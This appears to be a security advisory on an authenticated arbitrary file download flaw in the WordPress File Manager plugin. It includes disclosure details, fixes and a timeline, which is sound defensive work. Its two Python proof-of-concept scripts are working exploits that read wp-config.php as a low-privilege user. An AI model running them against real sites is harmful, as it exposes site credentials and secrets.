File Manager [Authenticated Arbitrary File Download]
WordPress plugin File Manager doesn’t implement security checks when performing specific actions, thus leading to a Local File Disclosure vulnerability.
Description
WordPress plugin File Manager uses the elFinder library in order to perform file related operations from WordPress admin panel. This library implements an API offering various actions/commands that third parties (like the aforementioned plugin) can use, in order to take advantage of library’s capabilities. Those commands can be protected on command initialization with a callback using library’s options. This is left entirely on library’s users.
File Manager plugin make use of WordPress AJAX actions and registers one which is only available to registered users (no matter the access level). It also protects most elFinder’s commands using the FMMediaSync::security_check()
method:
public function security_check(){
// Checks if the current user have enough authorization to operate.
if( ! wp_verify_nonce( $_POST['file_manager_security_token'] ,'file-manager-security-token') || !current_user_can( 'manage_options' ) ) wp_die();
check_ajax_referer('file-manager-security-token', 'file_manager_security_token');
}
This method verifies a nonce which is only available to users that have access to plugin’s admin page. Access to this page is allowed only for admins with the manage_options
capability. One could argue about the efficiency of this method since it doesn’t take into account multisite installations (in which a user with manage_options
capability is not the super admin of the multisite), but let’s assume that is safe for single site use cases.
Unfortunately, some of those commands were missed thus allowing to registered users to use the following commands without any security checks offered by the FMMediaSync::security_check()
method (description from elFinder’s Wiki:
abort
: elFinder’s internal commandcallback
: elFinder’s internal commanddim
: return image dimensionsfile
: output file contents to the browser (download/preview)get
: output plain/text file contents (preview)ls
: list files in directoryparents
: return parent directories and its subdirectory childssize
: return size for selected files or total folder(s) sizesubdirs
: elFinder’s internal commandtmb
: create thumbnails for selected filestree
: return child directoriesurl
: elFinder’s internal command
Many of those commands can be used to get information about the site and server hosting the WordPress installation (the debug
option specified in the request also offers some good info), but a couple of them are the most dangerous since they can be used to read local files thus leading to a Local File Disclosure vulnerability. Those are get
and file
commands.
PoC
Both of the following PoCs require a registered user to work. This can be typically a user with the subscriber role, but any user with an account to the affected website should do.
Get the contents of wp-config.php
file using the file
command:
#!/usr/bin/env python3
################################################################################
# File Manager Plugin - Authenticated Arbitrary File Download
#
# Date: 2020-01-11
# Author: Pan Vag <[email protected]>
#################################################################################
import requests
import base64
baseUrl = 'http://wp-latest.test'
loginUrl = baseUrl + '/wp-login.php'
adminAjaxUrl = baseUrl + '/wp-admin/admin-ajax.php'
loginPostData = {
'log': 'subscriber', # A user with edit_posts capability is required for this to work
'pwd': 'p',
}
s = requests.Session()
r = s.post(loginUrl, loginPostData)
if r.status_code != 200 or r.url == loginUrl:
print('[-] Authentication failed')
exit(1)
# any relative path will work, like
# 'wp-content/plugins/file-manager/elFinder/php/elFinderPlugin.php'
file = 'wp-config.php'
# 'l1_' seems to be the default volume, other to try 'l2_', 'l3_', etc
encoded = base64.b64encode(file.encode('utf-8')).rstrip(b'=').decode('utf-8')
# 'l1_' seems to be the default volume, other to try 'l2_', 'l3_', etc
volume = 'l1_'
data = {
'action': 'connector',
'cmd': 'file',
'debug': 'true',
'target': ''.join([volume, encoded]),
}
r = s.post(adminAjaxUrl, data=data)
if not r.ok or r.status_code != 200:
print('[-] Exploitation failed')
exit(2)
print('[+] Exploitation successfull!')
print('-' * 36, 'CONTENTS', '-' * 36)
print(r.text)
exit(0)
Get the contents of wp-config.php
file using the get
command:
#!/usr/bin/env python3
################################################################################
# File Manager Plugin - Authenticated Arbitrary File Download
#
# Date: 2020-01-11
# Author: Pan Vag <[email protected]>
#################################################################################
import requests
import json
import base64
baseUrl = 'http://wp-latest.test'
loginUrl = baseUrl + '/wp-login.php'
adminAjaxUrl = baseUrl + '/wp-admin/admin-ajax.php'
loginPostData = {
'log': 'subscriber', # A user with edit_posts capability is required for this to work
'pwd': 'p',
}
s = requests.Session()
r = s.post(loginUrl, loginPostData)
if r.status_code != 200 or r.url == loginUrl:
print('[-] Authentication failed')
exit(1)
# any relative path will work, like
# 'wp-content/plugins/file-manager/elFinder/php/elFinderPlugin.php'
file = 'wp-config.php'
# 'l1_' seems to be the default volume, other to try 'l2_', 'l3_', etc
volume = 'l1_'
file_hash = base64.b64encode(file.encode('utf-8')).rstrip(b'=').decode('utf-8')
data = {
'action': 'connector',
'cmd': 'get',
'debug': 'true',
'target': ''.join([volume, file_hash]),
}
r = s.post(adminAjaxUrl, data=data)
if not r.ok or r.status_code != 200:
print('[-] Exploitation failed')
exit(2)
res = json.loads(r.text)
if 'content' not in res:
print('[-] Failed to get file')
if 'debug' in res:
print('[*] Debug:')
print(res)
exit(3)
print('[+] Exploitation successfull!\n[*] Contents:')
print(res['content'])
exit(0)
Suggested Solution
For sufficient protection the following mitigation measures are proposed:
- make unavailable all unused or unnecessary elFinder’s actions
- protect all elFinder’s actions with sufficient capabilities checks (take into account also multisite installations)
- 11 January 2020
- Pan Vag
- giribaz.com
- File Manager
- 5.1.9
- WordPress 5.3.2
- 2020-01-11:
Discovered - 2020-01-11:
Attempt to contact the vendor through contact form on their website - 2020-01-14:
Vendor responded - 2020-01-15:
Vendor received details - 2020-01-19:
Asked for an update - 2020-07-12:
WordPress Plugin Team is informed about this issue